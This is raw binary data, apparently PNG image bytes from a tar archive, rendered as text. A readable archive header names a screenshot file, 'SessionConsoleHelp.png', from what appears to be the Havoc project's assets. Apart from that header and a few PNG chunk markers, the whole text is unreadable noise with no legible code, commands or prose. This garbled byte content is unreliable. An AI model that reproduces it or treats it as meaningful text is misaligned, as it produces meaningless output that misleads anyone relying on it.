r^TJRZy\kϺZ$"~6k[~n;̿WRZ^rQ|`d{zue~qom۾.`[_ߺ4r_P'Зmu/ZC_鴕?^u}y'l7wx5s{ϛI~޶f yc9{f,zh/O_iE`滧 ZݛK)2hѷoHM.?ǯ}_D~@]Aa~8TD|WߢGEdIO<+='Q XisrH][Z$"[VUZ˲zw`u%e{+ǜHZuoѺ덋>끌\VJm&?ċ0|GbY{s{vjRnZ54L.+QbD ËW[Dm7~?GD*ʏkys|cpYn\ Օ"R\;9 Qi"ҹ "a"z̴&Y ')"]m}È4XZu_aˑ}A뻴9#hj4s-=Qg/E|-eU4k^c !a y^xվ}Owۦ.ػyݖ}Si% ]U]QQU_JK"{T VoX~דߛVU퉙̴?o|UuEW qOZYCz@VZч vtVۇ<|1rNH{g.yb)Iis{v=-ӏ~LLKvM7.ܻVyЬ+D$m[f\2RvpA&vxJIDAThʼnϖZfۢm[ڶm3Cx#vPRe)KeYR"z+a `LQa3/j\!~ 5!qG@DqD$GŌt{vٱwsmQWQQZGwTۥ0`s\ۥ"y4zTĶmmmk9Pb((JJv+,R@,9q&ԡ/47<|)m { TH*x) Y8H_ d PP44!"D-DY|QȉpF28,2^TiB~ߴYA# h[GDJApVq|3v䨀""Vv2;/HxVqbRr|gPS"J@|Mc׃əzV"Z)lR8JYZۥZ6G͡/A,_Q",;,pSEkU /vFRbi-l%-Z}Di\A i%IC)r"M3OꡈТ ĜIZ~8PEDx+$ $Ju'輁F;+@$RZ+7>#wh՝E<, jPgQgJ<#G  *8#':b~8NFj9/ޑC@e`?x9qB,:n:\IDC_as; rIENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/SessionConsoleHelp.png000066400000000000000000005602501467014221700253660ustar00rootroot00000000000000PNG  IHDRːK1 pHYs+ IDATxw\'=BRA@,콷ٰcEDA H@Hf?#*`9}|?Lfgg6d3̄ j$},=#J,tjJ!B! 5]B!Ba!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B,B!B!T`!B!B+P B!BTF5]B!B0B!BZ!B!u0`B!BZ!B!աKv!B!bmmmh jjVG􌜚B!B!jF@P tE<.* B!Ԯdf$tP P:D TyL* B! !B!u0`B!BZ!B!u0`B!BZ!B!u0`B!BZ!B!u0`_s!o5] Ǐ٣ū;zxo՘7g|o*N J_2?Z*M?PS/u|n? g߰wךMx܊<wEZ!B!T5]i׎SD"o^5U]5ڪhmbk-Z2m޺iAs7+u֮~ՕJ_x R˚LM7rBGGkႉ;w|t5y.ۙvɢIYyAkg>5͍Nlq`9zh%$hSJu_}ۧCtڭa qҞ)VޫL\1vހ0, ,ֳW$IJrbCOHyyCWǠ[-(u(`P}NB,uv>_=$I^vo¸0lH'CL.%|Td٦6iv\h嫷Km\ B!b >}g̸}ٿO3׷ۈa]3\.UKπ3W`0VvN6z8y♦] 7U>%t޵ܻڞԫ=wx%n޴|~C58~8NgtQF9:34пw/͜>LܻhX<wpp۲yZ9{J*[7-wrz5,MQT*=7VTԱC+==kC`X>d̸GU(TscG=|$zd2歇+Vڥ GDtnڷYJJDXG w.qqwԖ[6pzor؆vZ4uЂYs֙ӉJl߮ky 6'dN28lߧf3oKhɯ#>^djbYWSъZ7o)Vi@s1c,dh7C稧9ϣ֮iWתKSgX:u̪Ϧ=W1366%od7DǼvwsuwsypV Bq{?q!++nPh۶-`ء[x:^V::ZLLLf0'Odgr,Z]RRң[{:eejnN~۷Hdo&%6 r83g/ʉHR*Wޡп@ק[x( .]ݶmKMSҶn;P\, ]|@_W&kF TjO#cLMM`wn޺Rda{3weBBo^mz͙g}6+Lұ2۶Ǩ ͚u<+K Yڼ˦]N}qxI/_%:׷BU~~Ϣ^Q9;u~ A{7###zľ1zw.4w3160i骵{FzG8ׯK%d ee]PϖFjTP=~I*W{}/^&SuC ݻt9(/O =zNr7(AӂBaxǐGmS5){536\G瓕Y9V^7r[ZM\w54;6Ҳ|Ź}rsܛk!_-N ҕ &-..B!PMOM J:#G 8'p/ --bb?_{(3+a#gb5$I5}„a߼u۷If }ㆥT-]=JepU*%bो l45[W.A} ݽznU,,r9|10Ji|Щ:h?ǣ֭x4 ||:ƧN=c%%"*]RJ2<gi<}IQ+k@_wמSW6oOўF477vq߿w%0t]$*2^8< >H$u\HKqk0|A5?W@Tn|| Y5W2M|{ss>;v8lvܛDKaaQP\\r|=͜xLY3笧(]wL~oi5rUNjA8-|= Sҳffǩ AP'PV{ukB!?"`gЇ/ Ngki'#~v-_f;;tލ1bԴJ8|&3+y}8:\ ,UvnFF֖Q% ۷osjѨ+T< ҥUBM --޾l6i&up}[kz8c՘eF[`GQX,Gw;O@Y^ȓ]<|/%ePi4Ni(55KV+USQiY?@gg/%%Sۚƶji7o -`&*_xȗR#z -V2HA$oz8N[[˔ XrכbK5J̬<33ju=+[lJ;vر=|bbߴlѴ'x&4ʼkUTge[6`0ŲOկo7!7oR4h7KN/(:pkT4}6{έtP{ZU+fSъ%6)JRd٦/R1/B!E'FX\ ;dOM;r,,]qͪݺ;wZGd]:ϟ7d-Z4Zfܸ~ZTxv׮C!44|i!xDR%ϟ;$?@v/Taaa&,)YjkFf%'vٴq3C<;otZNM8z쾽뵵=]d֡|ϧLL!J'Ow ?cY#x<65R@#٫OV{wSSC gwhM/^]z75fa|PEǼ95HK޺  E@BbgOr߼IZn?Irb}S& ӫCff?W:$zWNhiiV(X9hP! \|F5qްnNY=ؠ^@RY?t­;uZ7a2.ޮjNUL&B!B'amvpȅB!B X 1|Լ/7nniB!'~%!B!B.@!B!P B!B:B[dtB!U0`BVj !B*%`QX,=#ө麠&(̥x]R5A6B!o5,B!B!T`!B!B,B!B!TԖ5,45]B!BհZB!BO)!!B!u0`B!BZ!B!u0`B!BZ!B!u O;Liar %7kX燷7T?I!ԼÔfmtuW,\)c~E|g-EUٵcm>]chh{矏î߿S1dtN4gwOrϾˀ=?8kY5wӈǁO#n;׾__=[~XC.A}i=kgs;gݏj'W\pۻ?/|GƮMltfٳ&URZߟ:]|E?WmYJ|rA"*bRǹ^w9DG3+WъR߄&2YiiQ G˺hJ64Wש]VT\Tqsn*m*m- Iw %X;x4E))oBRolUKВFcHIKELԎʤE)Uds70SU9i/2#t['HXѫ &ǡQ{=C+R+m,ŵsnobC2ߤ%< _65uQ}Kmx~qEU$:)('kE%ʕ˲) e-Y;s$˕ d k5SE"pAu[ezAfc x$J#3 c?4S'vð'$_ce~.1w*:`0~ni^dT |L+/opz=$If&Dڟ8bM].[Yd&ѮǨq| KXnUVT$k:nWO >>ljqAAUe]h(.(ܷ3-Vhtz[,֍Sz-fկk_d1_;f?֮}<=L|ު[yRdt(1,&)Tr2  :aWGM%W!o~7ˎvSgZ Nˏ?`}AIVU6.A$%ݹIءP:Ң36&d>o۰g w~!Wxde ]:FqT&JfJE?ӧ}Zvk9jduޗ˦]6﬘bOi2lG]KKYIɻ7J?F0vr! չӱUSC.-g̍:| .n: 7w[upoWߠ7U_+to2"طM)i4A/..q3xԗWһGpa׮:V$AH7/]9׋yt`5hXh'Kּ`"/kbpQnJL[ IDAT3ҭߤSB- nNbN n%YbQ!L{ s: qMiblfՓ JԥY[V)q!t:3'56:;1 Մ޳^CU,}Yl^ԃClN 'Ѫs V!CsZ_V *yTH*/:6( g.M{%܌K[߯O X|Yw5ksK \콶J՝R N?!,d`f33 @V7}VZM3ћQL$">KwfHEꜢⲊ-47U-iճqt[pRz>3EC ji޴W1RO|ңYEݾiIlpyiv!8|ݎ73_aYQOګJ݆j5ga5 :t΍}Y6l>ufȚey^ut:1Ya͆CFFRi4:Nl ~{_1Ơ(+Cpi+ׯx3}ÿ6݆6=KeH~ u`1ڍ_V/̘w;-tiiBN?]cߺ cR{ǂWo ۪鷸#+Ysl\~g0#YccF3R{lM~PI{Ӳ[ý{^i*=?~yaH  μAE.J?\=ΛwDw,USΛv mZjK~Dt%+X~G?| /yWJBׯee2s6?޲u..nޢءs$ebѷۘ'S$:&(,,)3m͒J꩷6wNbns~-/iN8 ە!XkU:鈟S|i֕iiWb?}_Ѧuw;wXQRX>4JO Z)!_z&JI`KˊUJ\&KEJVىri)**0jXZS\T4:>Nayud+uST"rH*4x!Բb:. KT[*&A(eBJJ(/P)H,SW[8{B Lkib}Cn-iWX`2en\?y;6:x횅Tb^/zʆuya:_so߻<%P+TJb!M5$kpa@>ʣ%2%IJ{JL|r$jT,ii/  V"Iɧ+DoK0J,SP 56 IdjR&3j`Ub cc-Bj2:C5ǰY7ˣݡ}cG7mC^6O5==,jltaF\NN?JiOnF_Pm:bАׯhƇJd2sL}p>>_᰹\NI'#V޹ߌ>Aڪׅs\>#2w!{;m..wn8.BIFQҤЙ:^cOSɤ₼А}HB,&¤D\U>űèc&<;'E VKKb`J8! e%ªʬS8a Mr_t^بJ+uym}`D%Vz)+nYtfhFwh|- xڅsxUFfu- E9Yd(_UOnۙ5@dZA|p߭>'Irb uuO$美JWϲ1Nۥ} Y$I D%PPN+ kKcT|]{Oɪ'׏̡ Lu{&^vj=Z4e39{aridЉMco밂:grA:}½#qwp ܵDuŋ~$}}`KK{7> vBU5rgH*`Fn۲iͻBէ/ϱTryiV&gְqiVVfH{["(ArI*CZ~<(5\E9Tmw͐}2T@K[[*?&}xqA~Ɠ7V)1j㕤43$IIW +}ѸQ:ewf`j6oʹ/ܸ~j~T_^_~Q@m]9z$O+k,TҏLjq.Գq9agIa35t>goaazmux!NVMD8[7-yg+:U`ن[fa朽IwGZ;X>ujeM@}NVV]8ZjiX=qh/WByTn2CDQB&PStj!oP)Ѣ,A]n׮kI{u|HX+jE%E xQU+SVǝטpuK;h1ٺ,p{߹OfH!(>|Ls+>ȋ)m /ܾãz5QKG5tvcB122hc x^hi}j^CC.~\'$ ޾:{ک{0ykq!vWo}'tgul=zPϽll5w?~֪Ϸ}({̭Y J>FйZFf3SjJ.}qiQ %bmdzm٩J}sƤZ]F%,c4Rj}虙X8f$?9ŵuMr 6e%4ԪAz-HI/UXL2i׷ql>>Ty@jВ/Kj‘F Mx:4;8;}T&4/Ա.ռ}ǩD{{͛oٺ߯]?7v(οUk_".(P? =U*޿=A׷kݢœ_k{w~QG%$#a@}ts) ﴚȨA=ǸUi`_/kB61ak39|{@Ĵ!+d[yO9 ll{s[5ZlA}}D%KG[Kamz-XV243~)gPi:e(W9)Dkǯf3ӷi'7a@DXVhiǦ<2í=;ZTLqVm)CZϡ lz7t;O e39zl*L^x#*PcצǾeT&:ZViͥNB'c/I vuWHZM?=$I.$46m\~&iְsQ>]3f܌w§?,6no?~Wcp̬[5t솾MQdݢlcՔF!䲲Jԭ軡]Vo^<ald_P~޽k͹w|\۲LVǎճg޽@_^~Q2+]ӷMF>/͚9)IT>~=vNSJ?2_b3ؚ+ygLL/?ilM%rk²uQƺ[s{i8ׅe\vypeBlV+c{6<̠L%Q>PQ=kɆ\Ee-X%5 +- X ̙뭌=}:VJFv1jV':FLI[Lv 5-(^Zz''=wݭӠ|U=:;t֬mzO}avvMę'{-8:P\NQc`I~OJT g:y7=fq,:Z5hşJRFN[P{|mOOwi#D Ez̈́j&]q}'{ttiSc2bwڸ-Ջӽ;%n= ع[-]xG; fq=ȵ}D=_ J,mԊ/uH~B-3Q&PHt TLe憑W:h &G۶-cb^ <׌3z}ǣ_j_n#tv۶U1s̬aOLM`ɲ ;N]UgJS&pa%wj5P61^aNbs۱N\RZ>DE"ɕM",67tt^ci&L`ц J:+c0c1fꇗI['d5f|c bL&ylXXV.;[ZPJyţ汷6|ߚ -t2A'O^YLNu<^s*T^e6Rr-VL$G 3 1uZoOE0NR\yW*OF,&E vtN Bu8h$KϷOdDIu}5%<~xGXYKɩ~߾R1QR0~]_=P 7oȎOH635\4x`'.de喔 m۶Wn߸Wx~ /Oq~Yery~ׄoXqF1W%jfS;-SӦ&eG=_gOu\]%SOtmwvk9%%ܸzQCAofsW^5?/OU~mpf^өc;dGRVƦNY$#|<{#J1*TGK "i@q$ea:\>@HpLjAkB̂؝/LQ8tZ+$OKA"IS\D5O$"ʤf*'4?*>*b~Њ"+3tD zW]͹5Fx'S|!V{ ?+k31=_YeO1[YH%67x/W~TڶmQBbrvvnkϺ 0z{OMܔ5c^u8?id2IJLsŋVZFmf~( ̵ :D~oxv<̌:&#~Z+r9Çt|fJիw4{@~ݎ;_ ɷ8ص6WOJ&pzRmqa~ZfkĞ8&ׯ 0la{azνpG 5,*UǮ~>h4(zF6, +=KB!IWTXec&)mE^&TrP*5P4zdԈ S.7׿ܴGn˂xR!dqmqiJ)rlֵ0+ '(ճ߫+Qic$걶P}FWA׮Y`h{VnMPLC&44F%T*`1g Lή4çK?̇am2Y/@aad37be4%Y\KQ1[sd !{" -WaɃV B ՗bU"n߈y"6le瑩PR.3+zLjװ]]:-[X1ROuttuNbijjF~ݻ sWo30@dӘw]QaB?6rtR5 n+noRH{m8sbk4ìAæc&^2$Tm{/udBOXTed,+)4g 9:L3}Ť1#Eڗ|?ㆭwfO/Rwٲ+<7j蒝WP ,2t qTTx&tS :1t:}8.-|_#RxlmL|5,/G[6y !kwB/Oqc% sg\z@mSx.A "=z2i\GOΝ  ЬgaaU|yUEIQ'Lv[QCV2bxM=ݹg8wJ?_b̊1OL#Kd${*CŒV|g+z򏌦Xb3yʳꛥƺG[ l.Da*,5{ks~tb>OT̠:Fsީ>:LNZԎ#Cˤs3 nL&ӷסç Ê}UkC .RUsFRv3;fcGBؐ3bϲթc5XXh|yL]}|riiW~YzYA Fj EjJBVffJgXl-C3{imE"K34i4\**dLio~ٺWnj & VzxodLU=xB4n(Js ,x:oDU՗J)%iju&k;C?E*25AX4hں:zRI Z:F-WX>=#+s&I^))-}{PwCBmR]+kzl Y r+gpsYĉEqd ~RUyIޜ{97ܘs|)DtۧgN{0 c`߭kJ,J322[jFD5kZ._zR\ 8v:Q5t+S ~&.*.!زꦫ,YRy\1@0u?1rs!3׶r٬qFDV~#M~sMaFЉ)DexVMk)gQr9{_zAV_MSxx6*m"JJLlftuǔ+*vvm[ DHWav41 \J)￉9ׯY0qs`s\gee;o=ӡCkWzl6kȐ OYRȘ<],#/_jh(+=sm{]GJ=z똚\ HDi5=[kLXn.ݳeV\ұT>Mx֕,-Du".RT*HK5mNDv;3,F&EfT\.?wqv.DUHǼlIϓޖcU̵Kׂ*6b1fak6QCNÈ:s׵ʁ!!8vqh0~Z/%;;kߛ:wۅ=9us&VE'N2e06V͛5U~VR_vȱNAjJ;8\#}> rE%.5uu3oЈجwSP}$ӷԅ+2lvs53S5Qf Y.OSٔ2+,2rs]:e@761Py/PXuF[[3//?00) aHTC*>zL,.>Pyʼ兩5;QX'Xac PsbfCy:KzۙUNfjr=t50k-6d-NȒʼL(K*S@0(d'oJ˙7=+Q(ߋxV&}m/+om3ʯz]d}G8qdtuujײ䛕ӏQ;Y1lcώex9!,jwrxBÁNox'O]]fMܧ1H$!L[4}?ѽVVUQ kh!ԫ;ag KDٻ|IQ{:|v?0΁BՉᘰ;u6l3Z.%>W.aԺfXFƕ;n6)ݺ>®LZ: Xd쬆P޹=)FVvӏѪU3;Ooo[r/+ݽa#<>Ɗ,Z=gx(553"KmMe׮#es8.\OM=cFƽv ڻ޵bg쯛3l6-P7m1s 7ęKf>*@|Z[*LK]%T=4,.>q fffo{ED!Xzq$c+^i8L-QQu7WT֬qX)6M'ǧGsdrIFnCb]۷s;psE`΅w7z d($.  nm_sܿM=`>G #6U}w-<֏V,)|~Dq}Fqi;̟crH%=)ҵ.LI|sZL4.H{zrX,˕0 *ίH];csbcA::mp1opY*U\\董V*? RBW_Wg\*OϴW~5!L~¹#5}Q=DyK?y-huzi1mvXry椒 fq8e[)2 q55oޡ6+HOk6yIqNvlݻPE_̚sPq ʩ*RKsfOr8iRNd:oVAa/^eX))[Ӌ9+2[Q\1&6uD^L_t'_Wbǘ憓Ez)0-LdQɜt/}cNLyzI|"mk/[01}Z% EdcJϿd5S`,13\rr fǧ(\%_VZ|,?hӦ* 9Ͱ$%[oVJ.;uO*:@Dzz5ق+\"8ww;)U_XY Xh20w[K:uAWG|>Wl~ YRI^RR(j9۫9&yE-%YI9ӚϘ>ǒܸѫ'aM%Q#?9MYѯ(O(g(P]GFU=>qwoݽAl\RfF2* ѹ¼Zԁѽ{N͝TX(m?k aɛWF$u{ױlʼj3fNE?io+}o,"(u-]TocNk?llyC9i}#,2s~ʟ/| t@GD HJ̙=q?RS4R)#Wy^ -n3K] /̜cڣ#kj-qyrQWSCyZ]Vl@wCI+*ֳISdvo^.N26m߹w>̞ئuܼ_ѶkVy=J Cs]_W8_7Lj5˥/9HJr2bOK "j͌#"mVFlaA%aY; }"cWmR<.$3 #pz ss%-]c#Zq}0Xa^N\. 4~fZP */n B(3`Aegmx]v&VcB ~?7j7N_d Yl߼]Q?6j7֥ s,6 kr'-ZˇoT}@SǣWr܋7w<9 jh8v w"mXZҮS?n3ʎsҳ ";m\l^D4vev6âͅ'jٜMH|64ne,H^47rt7R>OͰX-.tֳftVL@'^D]}?{βT^=;9jjXX/e| $%yz"8͵ou8|AIXf(2W|ɤK^vJg1u[ˤD %B0tN%>ü;BmZ;]*5Ae.WC9#)B.+Pȃ]yg0?]"۱pGKBDYx|kOFʛzMsy|SeBURR0񹤸&N.Y,N\ԃ׹Y9qZz&%+-:5B.K-ibQ/;mv[BolW_1aw%%ɑ?bY6Wnj0B~ö =TCok7y)|D.=/S(d&^^[`,Э[u:wF&Z6nZI tgXy{DӹSMvF~Ӥ{e}]mѣgjX_g|c)!*v횞XaO¶aFJJH0qO ""@HD\˕ujED_Ts!)B y|͂4]C+X9BCKDOA^z*HP:7+A&Ғpppu <[$1_aO(*[HBQR\6FϨ&+5|GDl6GA Ӛ/Oe|d yaAd4e@ Jbޕ!#tӓB]m=7aD0L[z̛TB#ȕ*t IDATODfX( GV8#,<2>Lb1Zf2%Ѯ׮dr"ʤ TRK*~O/QAnZa~z C W,Uod\\bqtDqȪVӤ/ʭ`aא S*gQa6+kyt 3qZĄʠJy&Fl L%"q%Ǿvh+N \.'ޜŶn[IqRB"b umbq߾l?9EUgjؼȊ#؂5/ϩ,V6(25?\hT&m۾< :}0LrrL&6|b^^oHD.놄DerH.Z0 #5fg@8V\0}bq^NFPH"mpْ ma06>al6aXRIqFJPP. z&w0\,bq* jd% jƿ rm>Ʃ8_SH!h"j6l;imS.Ohdpefr~`~P@d ]:e')\0 bSeGޗ"2giXRL%2khEpyB#3T%.cjg<ʾ͡7w},75r`1khPѶwSC,O6xv0u9Ajw>^zҷw8qJgg\~g::Z͵}%|>j2n={Vpm>'bs";KIoBnG<®LZFB I)Ska9Fѳ{G9mxr Ã.)l봌Wn.ObsZ -D*&mݶ یeɱϕ@FfW%EoQTSB]v$). vYYuj]ԁb3,VvJݗaX,6+뤲Yo֮߁E<X,&vuʤWH%U~T`6jB~Wes ێ%dĆ>9_n8ſy\[ۨ~Ӓ߄vpBDy/ih&$riBaWSC(27iC^}z)Eqm[,cu?:?E񵧅zy꘬(ʥ׾AX?oKK$%Ϟnٲ쫷}QC08ta)7~"_Ԩ궰'' 7KHVԍ~7w~b\?;ntMRTy3T(wQJ.6FN>cQ%z@>1qAVMtǭknL:~:HX@d~ _K"̙Wy!aj P;HXAv$,@ aj P;HXAv$,@ aj \1[yq{tQQL&ݲuÇO|3vi;|@K 7>zߡ ^GgdtfӆJIIeڔf/{8T| L |n> |ڣ{{",Y<nՔڴirżY3'ܸvwn_CD Ì7XxP( [߷w2OE٬ɓFomWࣧ "11%66455-{ F ammkWul-vQ zzDdan}ۚn affcVb{v¡}~i2ŷn{kh>Rhhc-"Z5M$ѥ,[lwlvqpѵKۑv1LCC5rW&Ƣٳ/]aShDZvz7o)_p}ٹw.D$Z4oxũħתe~^ o߾&"M[[d/\0pLS'Xxm;,6^Z.݆x5wJD)4@bqPWWs66*,, z&Icw"bX̞ccBC#x~,%5xoviADzz3f,y<@B>}=⼼AN[omWQQqJJ}ADZZ;FDfsJLL*;.).ۮ¢;?xe߸İ"C"9b"el;;6q8ׯcR$,-Ǡ%+055fYk,, hgd>{" ţG'$('') ccG'$)2e1+;W kkkYd2YjjiRRg'$sv|(XP(_UWWO˺~hDplvvϟ+S$1hGyL&K}$'da'M"iӼ\./}bnn%IIIYn è12ufVv}J)l6[$Y$%Je&\z"ܩMEeF0MDl6}VE4[rubŜG+"D5Fx,?UGGḹsphg|F$S&xʭW-ɷl;unnD$հ0ͿvoꔱX4bS/VG/_nѱVFLD\T*x=֖]޽:dYaII)|>o1~(**zd̬l"Zb/]8,<{e=uꂮց}|{k{{ϟ;8;'gٲ qWl3kCŒ.x}^Ѹ۾=£XkZcc$W{woؽ˩]۞44kW/011.>|z8WqtjT]u[XQxwAA%ef$kI)!🂄$,@ aj P;HXAvNu7&O=ϲC/+ۼogN+3w1Cln 7u-YnYـk_/Y.ر@~SҞC7 z 6.)3#YCU]Mu` P;Xtv$,@ aj P;HXAv$,@ aj P;HXAv$,@ aj P;HX|.uj_r[mmkWYZ=4E }&TS u~| AM+nmߟa~}뗵Пd2yu7J],]M:~۴<--;.BqШO}SSB~釛GJyy/_0F~s',) -=\rt{wuQC7A"Nѵڷ$'w{z6?or݋Z n 7TߑP/bqQaaQqQ J4lz^"q~} 𿭫Z4ot;ϮY奩Q-L ūN]QN[?{SRy<޴^>rCgb"" GΛ;{>ӧ+ۻ\p CCҪ׬2}|o:szoZ5ӳ߹}xM-2ߵs-w5oPxT¢q#ѵKۑv1LCC5 Cn޼[.u/lеE3-, Ӹiײ0O26?w~}-N٪IPNN_pWѱi^Ϟ|5JrraLMD#$"[ۚ[~Î6QٟOHhd:TAgl%V٪W^? xjႩ5kZ|7h\}W\TT7lֽkfWFF٪c[zV䨩aaQd ]߹_-&"z{|>ouw۶j5X[)_zo'apu۷XJjZQQvuVK7m~ :: wh`ujjT*ɤ{zb=D5A}x{H$⢢/Onn W6455ZlruKptLל_n?dg^iݺyu6(*kiiR999=2/K$"n]/_1''O.|ܛϟ6cQ|BR``p\lB%9s}',{a3g- ٪g^3g-hfJ$cdO_ӧ*vְJFF'$('') cc= ~P(bƧ~?\NbbJZZ5^_Z5!N?ߘCO9͢f>z_zK@&)[8=6vm4*O3fȉc^ u(+KqFF$} *u? L0Llj"JJJ.}bk[SJ o퀲ssg/T0LJJj YwǶ6Vk_zb+ܥK؍Ļ ҷ~:>~/_Qbbr\\ ;x/éΦXͻGcڶ'jkkZYV:cPnHH\.'"\PRriSssU5@Ҕ"ڱvm[ ߃fijj(W8}gA"Q ?eҏ*(>CB"LM;uliܼJ~.~ѣGǚ5-~r Cab"qiPs7n~y":ӳGƍ=10Iqy\}}6m0lcTAgmm:ujT_߻XKWW^U Y,Vqc.QVRG*W}'nظ}MؾrFJ]ȡ헯\fU^O߸oc] r5 DEE0G97'**zsfRS_Z}MĖ,!HS6lڥ\JSegEE]:3{IKϜ`L&#"Ms>M?X999{ S>qc߸}e0&&nc۷`UzvԱMx_*..y\/)6g7ѱԨ궰'' 7KHjUW 8!J q ã*>5 =|Lu7oj|E|ǝ;{ҕ~e=ol lۺEś^mP=F2޶/ܒ9VVwT P;HXAv$,@ ajS z4sҧKHH2?|p[ip-. s ko/_3۵T]պs**vʺՑѩQumaiODO=vwo!Ԫ&:P;HXAv$,@ ajJX>qc)O߻8ʄ#?w@lme>]7wpʔݫ#w/n˗][[ڕcfu~ūWjjj(vֵ}gGYuj_r[P=8}ǁY3'TwC+l1C{줣7qҼ̬nT sfOlHCC#9%uɹ(p(9:֚<ǟ~mll_{ϑAek;EE%ã|#>heKgX3nfBBrG{TR-R c~jmmo윚5-J3Am5i~΃7DP(N<_.P۶P\tm"*%i}SSB̟79Cgdd hwn]ʫtqòƍ=Μs.|Vjղҹ+r"2ߵs-w5o֐ڴirżY3'ܸvwn_uʱNmѢѢӮ^9KDMx?3OpЍ'wQ-rwG3k۾\j }ff&!YY "&&䯄wq# <\-<-];ZZ qs ޿oծe{;]b;elΙڱ3g\QIl%uu~|o42_i~<tCx>.]88JpЍ+U_.hggTaFݸv>ׯDDkVy w>7O9v-[eIKK];;Vkk=^gkѢۻ\p CCuhgU';SYWg:|kWq1 3j>߼~bBҳ+G'ٻw[g5tS 'w{z6V~ck>\>Aݿo7^Zbڔ(,(п;uvi׏F\6֖S&xɺw^pj7q#ױ e|>ouw۶j5X[Q}:991q˖}az[ hS'OMIwpY7ks̥{61͞5~ s筘:e,!ٳwv2lBs?G"ǎ߯Qsܲvm[l.ޘ0~۬Zڶ`52_n?dg^iݺy%O˰iM__/==\Ys2BD ٳpllBhhB%ܹ`Dk6}Щd>;/^+JJ;cƒC T(zzv[xmBBL&HeBӧ/FҰۙ{Zz6)Kei'$`$AD}zwq/KL~MzTQIʺryNNNn _ff{z-X.Je2m?\.~9шootL,%$$y󶢺&M3wEhhU.ݨʺtv +(''WDԯ_}omW.mW.^00hѱ|>Oe7 #H˜Mְ~_@*X [8=6,G "R(r?!++Ƞ\D^bbmM"z,D&+GK_MOόOHQB}[qCW|,ɹ\}A8&&듈|٭[5e~~W^7ʤR_QhXdV)&1ommk^rsEE!!DlaC[@^UIޯJL^^{2*Yu)O3fȉc^ uv˹^9[f׮myH||TJc4qc]~ ;u?L0  '(75mei6J~ʺ>ie~rAS㄄4Bal,"/ EԴUJe?Ϲ\uO[< 15-ޖKJN533-}jnnRn CoޕJJ 5gm+]g?\]޾Wn|N8yk_)[fV$9)b:thi`V&sd:ZtVLLG*ߜ2<ϩN}dwRRVݣG ޱmme2""߀Uڶ`Df۷oRy?U9/_M=>TըǟIiu ?{ID"aRR:*OWHVYߥ]Eo÷6%}g}zԸ0ݺV, s%g?q^6$KQQ>}Y9_y1PNKK ؋f9my*ի}YZ͘S.喁(>ۿ_wg:7-R;vhTDD"FVT9ZcYCU(Ĺ9? z!<rHD ՐJ?x JU:eyZMNIM0ekcթSmmͼ GĨWHHq=<\6m\rRiD\>G EhW_-Z4rw¢2.Y,Vqc{ 6?tJGG93qԮekooS*'Nk׶Š M3>#G j)~|VA[M𫐈=:֬iӸ_7[a`9ƋDFi/\- !ƍ__۲uw55xɺc۳IKK+..qĹ?5e#SS[&:f[$|Ж{׭]x[͚l_Kz-'3+UNzaCn[NNgw߾**`)"QXxsKJJbƱXO_Qu:HR":oVAa/^VUU:e455n|2yq1UK\Tԥs9'p9 V)'׆xM޴[)'#X闕ް{gkc~}hW_lQv ͛+7)c~:n찔wOD%']`O xtC":rԛa1M122HJJ]~[Hyc[dLyS&:Ve]vDNhOw䅠N]:o3Ͻ{/pUX'|UڽHڶGm|5[׬R]uaUWgY̌}Ys[BdI*ў#Qڤ&"-VAEnpZdzkf.75~yss~y9ϙʚ蕔ѫ.,"Ɨx̞nd4~]|_sML/^[Z>=v<*wPWB+!s`}X;t n.c}O\vio’H[) RJ BoYr nQF/^@O ŊnӞ=w @X%#ba~Ũi)~G!Ie%""] ˷l^Ջ!u_{{DQOL2Ћ:gh<-^,S+!guWWS]ʭ>bfjC>7]=-,heeŰЃ4jrjjThdEESm]3Z"X~MsMMzT^ !zx96hTVn;E$(DWS6mXQUwca455=w.h⌭n%ns_'ƕD"!}ÝL{Op:e>yBe B~ٙq4jrNvB@ vw~sAa14UhdӨ4j#vhI&.d]-n8^Xۅ qrk #C=ns.͟oO&B8ntt;:Ѩ#F 荵kȡ];B-[e 3mkޱYVv݂m~{<$%%x4~qc.sx H,޼}?dH|:`al'.&vɊOH.#-1!DODfߠ=,[6zȟ&A --wtt&3?sri6!q& NKK D PQ@$\RWG'\礤\OKa0%KIInݺ"6-%%)))>nρZ:+/p챳 oe2 Iff!]-AY31bXMMM,UT>~lVjS 1&& !yߵyۃdr #nvқ>dfQ̌&޺}wvSBǏ\^ &WxxczT^!!!f5,hXkk[CCcdd̜Yӹk())ame/&hϟ=<ߗ.%9?EbbZKp)&tx4SIIBE`MM `67/(xxA2_%*;w44TB3,6]\\yk^\\fQG}[ݓǶLAC]ӧUU5ۮDZ* V=2)!!D 8l6eNc=zr((=J 40 0l( x93B ^ )-nbTtĤ4VIIWp#/'d2_c e5TP#vD$$ffQLBd~'@ X 3r3rjk{477G_L䘭fꮉJ&b)`H$CccD[V믿;鍊 JJtzc׳X,ַEuV`pڂ[سbرZ97 z܌[WG=tꫜW_74>z,e O<`a9 vԼ[*MLKٰw[ ]7"@oh$1 EEW|̢nڸB!.Y2J| s ߿o޾IBBH$5l&Rd<j3y7-&Fy.&WҨ&&H,~[#.66w fKFQ!2R|al4bT.ϟ(=2TV-"Bw -f/]w?_wu5jk#kv0:o߽OMw^&h3,Fq챼I1+;uϝkw=6zFM:BMMK$H7~1fRԅ?enkWϛbEɽq%?j\ia?XI!첒lpH"{m(OǠAx4DqqQ50?%)!kp O 8Gg#7m\w3 ߇^t8${(3#f0M, \yki)cƌ}jBMM}#'͜3oEQQ>b$g R].AH>4pHI ˹{WY8kmm,\AAtء63bZך?}NEŋڮd2)4`NN}TWSA=CeUZD"BL4%>eӆUU766LSSS!sb&Y6{<7m\I$B׎=iw+M >hh:s8Yߗ-D~v=[;6[oBh\{1Q;'S{ Pʵ  6FMQV&B _QrlSsލIܼqǏf:.iiiIlndbj:2,Y|wX{Cg/ҟ`}v 9K{̨Y8iƒeCydg!Ҩ9qC 3rh;a &skhD鉋dҴHKHZ?b>z}V적_O9'%;hl/CZZw_%舉Mf2YlB8<.Ltuu4ڝ(&&zHuN& 8II`0Z[[;KܺuEl6[JJRRR|Nt&ч^H}g?Br+,,.ud&$e#L&KJ jo{ߵ6"hk~w+jV@"+@ ;rG*QN-;]11 